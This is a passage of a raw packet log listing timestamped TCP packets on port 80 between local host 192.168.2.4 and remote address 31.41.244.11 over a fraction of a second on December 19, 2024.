Dec 19, 2024 20:11:42.534377098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.534384966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.534396887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.534476995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.535952091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.536031961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.536637068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.536669970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.536828041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.537395954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.537466049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.538146973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.538152933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.538166046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.538248062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.538906097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.539056063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.539638996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.539647102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.539659023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.539664984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.539729118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.540407896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.540433884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.540446043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.540543079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.541131973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.541140079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.541176081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.541183949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.541269064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.541311979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.541901112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.541908026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.541918993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.542011023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.542689085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.542697906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.542702913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.542836905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.543374062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.543382883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.543396950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.543402910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.543617964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.544209003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.544217110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.544229031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.544308901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.545083046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545106888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545120001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545206070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.545676947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545685053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545696020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545701981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.545768976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.545768976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.546423912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.546431065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.546436071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.546624899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.547152042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.547203064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.547209978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.547241926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.547305107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.547946930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.547960043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.547972918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.547979116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.548017979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.548094988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.548697948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.548707008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.548712969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.548772097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.549441099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.549458027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.549469948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.549529076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.550348997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.550358057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.550363064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.550369024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.550468922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.551091909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.551099062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.551111937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.551244974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.551774979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.551781893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.551794052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.551934958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.552417994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.552434921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.552447081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.552453041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.552500010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.553217888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.553225994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.553237915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.553318024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.553972006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.553978920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.553986073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.554037094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.554703951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.554711103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.554723978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.554924011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.555471897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.555479050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.555490971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.555551052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.556238890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.556247950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.556258917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.556335926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.556952000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.556988001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.556999922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.557005882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.557105064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.557105064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.557706118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.557723999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.557739019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.557786942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.557898045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.558598995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.558607101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.558621883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.558662891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.558738947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.559282064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.559303045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.559309006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.559329033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.559376955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.559438944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.560034037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.560040951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.560055017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.560245037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.560827017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.560834885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.560847998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.560914040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.561521053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.561527967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.561538935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.561641932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.562282085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.562289000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.562381983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.563081980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.563088894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.563102007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.563241005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.563769102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.563775063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.563786983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.563832998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.628787041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.629297018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.629302979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.629338026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.629364014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.629484892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.629722118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.632504940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.632699966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.632704973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.632781029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.633069038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.633164883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.633194923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.633341074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.634293079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.634309053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.634844065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.635345936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.635418892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.635488033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.635719061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.636439085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.636585951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.636641979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.636759043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.637767076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.638015032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.638106108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.638187885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.638761044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.638768911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.638863087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.639802933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.639924049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.639952898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.640079975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.641237974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.641278028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.641320944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.641380072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.642031908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.642127991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.642160892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.643258095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.643265009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.643373966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.644470930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.644479990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.644594908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.645411968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.645514011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.645596981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.645685911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.646673918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.646744013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.646774054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.646918058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.647732019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.647917986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.647968054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.648041010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.648750067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.648853064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.649518013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.649566889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.650052071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.650161028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.650191069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.650245905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.651113033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.651149035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.651206017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.651293993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.652264118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.652271032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.652405024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.653470993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.653477907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.653534889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.654452085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.654534101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.654547930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.654597044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.655524969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.655653000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.656203032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.656255960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.656773090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.656810999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.656824112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.656873941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.657753944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.657813072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.657867908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.657932997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.659071922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.659148932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.659215927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.659337044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.660060883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.660164118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.660372972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.660446882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.661253929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.661300898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.661333084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.661463022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.662297964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.662374973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.662427902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.662564039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.663387060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.663497925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.663572073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.663631916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.664695024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.664732933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.664774895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.664794922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.665719032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.665776014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.665821075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.665887117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.666819096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.666894913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.666945934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.666986942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.668092966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.668098927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.668157101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.669051886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.669105053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.669158936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.669209957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.670269012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.670361042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.670528889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.670579910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.671295881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.671356916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.671418905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.672461987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.672538042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.672656059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.673006058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.673552036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.673598051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.673628092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.673728943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.674717903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.674763918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.675283909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.675358057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.675740957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.675793886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.675923109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.675973892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.676888943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.676943064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.677043915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.677167892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.677807093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.677882910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.678388119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.678436041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.678874016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.678944111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.679003954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.679069042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.679920912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.679994106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:42.680010080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.680047035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:42.681000948 CET	80	49842	31.41.244.11	192.168.2.4
